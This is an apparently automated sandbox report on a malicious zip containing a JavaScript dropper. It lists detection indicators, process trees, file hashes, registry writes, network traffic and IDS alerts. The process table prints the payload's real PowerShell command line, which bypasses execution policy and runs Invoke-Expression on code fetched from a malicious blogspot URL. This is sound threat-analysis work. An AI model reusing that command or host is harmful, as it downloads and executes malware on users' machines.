| File name: | c99a68e57fab36054db049ca29b4a5b32ca6666e7bba18bb4c90aba8444ae6a5 (1).zip |
| Full analysis: | https://app.any.run/tasks/ec7960a1-b9c5-4510-98e6-fa5b26353a2b |
| Verdict: | Malicious activity |
| Analysis date: | October 03, 2025, 16:47:48 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v5.1 to extract, compression method=AES Encrypted |
| MD5: | 6E47AAAFFD63CF9CE8565E75903D3985 |
| SHA1: | CA7FF19D1600C5DAC29FF6B43455DFD20674A287 |
| SHA256: | 325F1F606ED5F54B9E8092E4534CEA79442CE8DE51D8E9AD9712287BA63E25CE |
| SSDEEP: | 768:ss00NJHZKTCBYTvW5NqjATSizm/MkHacuZrmQm:ss00nHZKTCkSNqEOiK5OmQm |
MALICIOUS
Generic archive extractor
- WinRAR.exe (PID: 6416)
Changes powershell execution policy (Bypass)
- wscript.exe (PID: 5932)
Bypass execution policy to execute commands
- powershell.exe (PID: 3224)
Deletes a file (SCRIPT)
- wscript.exe (PID: 5932)
SUSPICIOUS
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 5932)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 5932)
Runs shell command (SCRIPT)
- wscript.exe (PID: 5932)
Gets full path of the running script (SCRIPT)
- wscript.exe (PID: 5932)
PowerShell delay command usage (probably sleep evasion)
- powershell.exe (PID: 3224)
Gets or sets the security protocol (POWERSHELL)
- powershell.exe (PID: 3224)
Creates FileSystem object to access computer's file system (SCRIPT)
- wscript.exe (PID: 5932)
Converts a string into array of characters (POWERSHELL)
- powershell.exe (PID: 3224)
Uses sleep to delay execution (POWERSHELL)
- powershell.exe (PID: 3224)
INFO
Manual execution by a user
- wscript.exe (PID: 5932)
Disables trace logs
- powershell.exe (PID: 3224)
Checks proxy server information
- powershell.exe (PID: 3224)
- BackgroundTransferHost.exe (PID: 8432)
- slui.exe (PID: 8392)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 3224)
Gets data length (POWERSHELL)
- powershell.exe (PID: 3224)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 3224)
Reads security settings of Internet Explorer
- BackgroundTransferHost.exe (PID: 4076)
- BackgroundTransferHost.exe (PID: 8432)
- BackgroundTransferHost.exe (PID: 8612)
- BackgroundTransferHost.exe (PID: 8840)
- BackgroundTransferHost.exe (PID: 9052)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 3224)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 3224)
Creates files or folders in the user directory
- BackgroundTransferHost.exe (PID: 8432)
Reads the software policy settings
- slui.exe (PID: 8392)
- BackgroundTransferHost.exe (PID: 8432)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 51 |
|---|---|
| ZipBitFlag: | 0x0003 |
| ZipCompression: | Unknown (99) |
| ZipModifyDate: | 2025:10:03 16:47:26 |
| ZipCRC: | 0x4716119a |
| ZipCompressedSize: | 22645 |
| ZipUncompressedSize: | 106661 |
| ZipFileName: | c99a68e57fab36054db049ca29b4a5b32ca6666e7bba18bb4c90aba8444ae6a5.js |
Total processes
178
Monitored processes
11
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2428 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2488 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3224 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IrM https://potalgonabunbunsed.blogspot.com///////////i.pdf); Start-Sleep -Seconds 9 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 4294967295 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4076 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5932 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\c99a68e57fab36054db049ca29b4a5b32ca6666e7bba18bb4c90aba8444ae6a5.js" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 4294967295 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 6416 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\c99a68e57fab36054db049ca29b4a5b32ca6666e7bba18bb4c90aba8444ae6a5 (1).zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 8392 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8432 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8612 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8840 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
20 345
Read events
20 308
Write events
37
Delete events
0
Modification events
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\preferences.zip | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\chromium_ext.zip | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\c99a68e57fab36054db049ca29b4a5b32ca6666e7bba18bb4c90aba8444ae6a5 (1).zip | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (6416) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
Executable files
0
Suspicious files
6
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 8432 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c2f88db6-6da4-4c75-8fab-964a61ffdc1b.down_data | — | |
MD5:— | SHA256:— | |||
| 8432 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:A2459D8C15651BB81784468BC907C939 | SHA256:E6360479BE8038E7443DA1855F01EC552F1B602A656A2BF713C1CD760B7CB6C8 | |||
| 3224 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1z2k5mwp.lo5.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6416 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb6416.21556\c99a68e57fab36054db049ca29b4a5b32ca6666e7bba18bb4c90aba8444ae6a5.js | text | |
MD5:6DFA3FC4E6C7DFFCB5B40552D4171C14 | SHA256:C99A68E57FAB36054DB049CA29B4A5B32CA6666E7BBA18BB4C90ABA8444AE6A5 | |||
| 3224 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ahhvyrq3.ok5.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8432 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:31324527BCEE7322E1A72FD780DD848A | SHA256:11E7455286AFCD861BF822B7E9D010BAD2239F2ABE0E926B9FB9A6295EE3A963 | |||
| 8432 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ff6defbb-0c3e-4da0-9376-70c2f0b6aec6.up_meta_secure | binary | |
MD5:8F22CB9183CC26DE02FB123522207EAA | SHA256:F2AF4ADE5B6036598C12D0D1499CE43CB1741E8EB50F368C61B61A2F9BE66F27 | |||
| 8432 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c2f88db6-6da4-4c75-8fab-964a61ffdc1b.fab4976b-e98c-4076-b388-46746ed1825e.down_meta | binary | |
MD5:DA9CA9A3DEB8F56412259DB94A3917A7 | SHA256:9F12A87ECF825B1A86B9D1C5DE38A5E1DDD6F01DB559BBDF0F08CF21C7787353 | |||
| 3224 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:33DE27C8DCC88FC3DB33B429DB60C7D5 | SHA256:708AE655B44F33D7DCD06BC681E15BD4D8E9C37226D62D38FF8F51FF0EB714E3 | |||
| 8432 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ff6defbb-0c3e-4da0-9376-70c2f0b6aec6.fab4976b-e98c-4076-b388-46746ed1825e.down_meta | binary | |
MD5:DA9CA9A3DEB8F56412259DB94A3917A7 | SHA256:9F12A87ECF825B1A86B9D1C5DE38A5E1DDD6F01DB559BBDF0F08CF21C7787353 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
38
DNS requests
19
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2000 | svchost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | binary | 471 b | whitelisted |
2356 | backgroundTaskHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | US | binary | 471 b | whitelisted |
8432 | BackgroundTransferHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | US | binary | 313 b | whitelisted |
1260 | backgroundTaskHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | US | binary | 471 b | whitelisted |
2000 | svchost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | US | binary | 471 b | whitelisted |
8100 | backgroundTaskHost.exe | GET | 200 | 172.66.2.5:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | US | binary | 313 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
6016 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4384 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5224 | SearchApp.exe | 95.101.136.194:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
2000 | svchost.exe | 40.126.31.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2000 | svchost.exe | 172.66.2.5:80 | ocsp.digicert.com | — | US | whitelisted |
8100 | backgroundTaskHost.exe | 95.101.136.194:443 | www.bing.com | Akamai International B.V. | GB | whitelisted |
8100 | backgroundTaskHost.exe | 172.66.2.5:80 | ocsp.digicert.com | — | US | whitelisted |
3464 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
arc.msn.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |
potalgonabunbunsed.blogspot.com |
| malicious |
94fae730-597f-4442-813c-86263972a8f0.usrfiles.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2428 | svchost.exe | Misc activity | ET INFO Commonly Actor Abused Online Service Domain (usrfiles .com) |
3224 | powershell.exe | Misc activity | ET INFO Observed Commonly Actor Abused Online Service Domain (usrfiles .com in TLS SNI) |
— | — | A Network Trojan was detected | ET MALWARE Observed Malicious Powershell Loader Payload Request (GET) |
— | — | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
— | — | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
— | — | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
— | — | Misc activity | ET INFO Request for PDF via PowerShell |